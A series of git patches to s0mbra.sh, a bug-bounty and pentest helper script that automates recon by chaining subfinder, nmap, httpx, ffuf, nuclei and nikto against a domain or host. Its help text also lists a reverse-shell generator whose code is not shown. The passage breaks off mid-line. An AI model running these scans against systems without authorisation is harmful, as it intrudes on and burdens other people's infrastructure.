+515,6 @@ case "$cmd" in echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\t$CYAN privesc_tools_linux $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" @@ -593,10 +537,8 @@ case "$cmd" in echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" - echo -e "$BLUE:: MISC ::$CLR" - echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" - echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + + echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" ;; esac From 950074e849bc5bcff7fb4856e0ec79f8c6a7640e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Dec 2021 11:57:09 +0000 Subject: [PATCH 130/369] [s0mbra] quick recon option - subfinder+nmap+httpx+ffuf --- s0mbra.sh | 48 +++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c92609b..a1195f6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,6 +230,40 @@ htpx() { echo -e "\n[+] Done." } +recon() { + TMPDIR=$(pwd) + START_TIME=$(date) + echo -e "$BLUE[+] Running quick, dirty recon on $1 domain(s) file: subfinder + httpx + ffuf on 200 OK...$CLR\n" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # nmap + echo -e "\n$GREEN--> nmap$CLR\n" + nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + + # ffuf + echo -e "\n$GREEN--> ffuf$CLR\n" + for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); + do + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500; + done + + END_TIME=$(date) + echo -e "\n$GREEN[+] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" + echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" + echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" + echo -e "\n$BLUE[+] Done." +} # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -349,18 +383,18 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,422,500...$CLR" + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,301,302,403,422,500...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" fi else - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } @@ -368,7 +402,7 @@ fu() { fufu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" echo -e "$BLUE\n[+] Done! $CLR" } @@ -426,6 +460,9 @@ case "$cmd" in htpx) htpx "$2" ;; + recon) + recon "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -504,6 +541,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + httpx on DOMAIN" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 10cedeaa5ad052a025681024bb8c66d2d36605b6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Dec 2021 19:22:22 +0000 Subject: [PATCH 131/369] [s0mbra] Add custom headers required by some HackerOne private programs --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1195f6..51ee8fc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -245,14 +245,14 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp # ffuf echo -e "\n$GREEN--> ffuf$CLR\n" for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); do - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; done END_TIME=$(date) @@ -388,13 +388,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } From b0111b2dfeba1701e0fc3d9e28edd46a3374e721 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 11:44:30 +0000 Subject: [PATCH 132/369] [s0mbra] recon - added nuclei, small refactoring; removed obsolete features --- s0mbra.sh | 26 ++++++++++---------------- 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 51ee8fc..f921e13 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -216,31 +216,26 @@ nfs_enum() { echo -e "\n[+] Done." } -# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available -# we can enumerate nfs shares available: -subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file...$CLR\n" - enumeratescope $1 $2 - echo -e "\n[+] Done." -} - +# executes httpx on the list of host(s) htpx() { echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 echo -e "\n[+] Done." } +# automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) + ITERATOR=1 START_TIME=$(date) - echo -e "$BLUE[+] Running quick, dirty recon on $1 domain(s) file: subfinder + httpx + ffuf on 200 OK...$CLR\n" + echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap - echo -e "\n$GREEN--> nmap$CLR\n" + echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx @@ -248,11 +243,13 @@ recon() { httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp # ffuf - echo -e "\n$GREEN--> ffuf$CLR\n" + echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); do ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; + nuclei -v -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log + ITERATOR=$(( $ITERATOR+1 )) done END_TIME=$(date) @@ -264,6 +261,7 @@ recon() { echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" echo -e "\n$BLUE[+] Done." } + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -454,9 +452,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - subdomenum) - subdomenum "$2" "$3" - ;; htpx) htpx "$2" ;; @@ -541,8 +536,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + httpx on DOMAIN" - echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From dc3ce484c0ffb7cbc13d3dee5442be06c2093a4b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 13:03:33 +0000 Subject: [PATCH 133/369] [s0mbra] Remove verbose flag from nuclei output --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index f921e13..3a9eaa8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -248,7 +248,7 @@ recon() { do ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; - nuclei -v -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log ITERATOR=$(( $ITERATOR+1 )) done From 178c3210e4babcb71fe27bd1a5ee2a198aa8ec67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 17:58:41 +0000 Subject: [PATCH 134/369] [s0mbra] fix issues with wrong output files --- s0mbra.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3a9eaa8..7167585 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,22 +234,22 @@ recon() { echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + # # nmap + # echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" + # nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" - for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); - do - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log - ITERATOR=$(( $ITERATOR+1 )) + for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); + do + NAME=$(echo $url | cut -d'/' -f3) + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -536,7 +536,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From 68273067b95c2d94d4f0cb5b7e27fd0c5f088c28 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 18:00:02 +0000 Subject: [PATCH 135/369] [s0mbra] fix issues with wrong output files - uncomment commented :D --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7167585..00c1c3e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,9 +234,9 @@ recon() { echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - # # nmap - # echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - # nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + # nmap + echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" + nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" From 96f74d778fc5be86bafa2d0eeef28931d52558bc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 7 Dec 2021 16:23:56 +0000 Subject: [PATCH 136/369] [s0mbra] refactoring of fu(); removed fufu() --- s0mbra.sh | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 00c1c3e..2c0338f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -381,29 +381,26 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,301,302,403,422,500...$CLR" + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } -fufu() { - clear - echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" - echo -e "$BLUE\n[+] Done! $CLR" -} - generate_shells() { clear port=$2 @@ -521,9 +518,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; - fufu) - fufu "$2" "$3" - ;; s3go) s3go "$2" "$3" ;; @@ -567,8 +561,7 @@ case "$cmd" in echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From a455e88033176b34ee5bf7040e1cb0cc04bb8f79 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 8 Dec 2021 12:51:22 +0000 Subject: [PATCH 137/369] [s0mbra] ransack() - do recon on single domain --- s0mbra.sh | 38 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2c0338f..ad6c98e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -226,7 +226,6 @@ htpx() { # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) - ITERATOR=1 START_TIME=$(date) echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" @@ -259,7 +258,38 @@ recon() { echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[+] Done." + echo -e "\n$BLUE[+] Done.$CLR" +} + +# does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? +# pass ONLY hostname (without protocol prefix) +ransack() { + HOSTNAME=$1 + TMPDIR=$(pwd) + START_TIME=$(date) + echo -e "$BLUE[+] Running bruteforce, dirty recon on $HOSTNAME : nmap + ffuf + nuclei...$CLR\n" + + # onaws + echo -e "\n$GREEN--> onaws? $CLR\n" + onaws $HOSTNAME + + # nmap + echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" + nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + + # ffuf + ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + + # nuclei + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + + END_TIME=$(date) + echo -e "\n$GREEN[+] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + + echo -e "\n$BLUE[+] Done.$CLR" } # checking AWS S3 bucket @@ -455,6 +485,9 @@ case "$cmd" in recon) recon "$2" ;; + ransack) + ransack "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -531,6 +564,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" + echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + ffuf + nuclei" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From b71f476edc5194a4a4538c6959c332b84a50037d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 14 Dec 2021 08:56:17 +0000 Subject: [PATCH 138/369] [s0mbra] added nikto to ransack() --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index ad6c98e..f264482 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,6 +277,10 @@ ransack() { echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + # nikto + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host https://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent 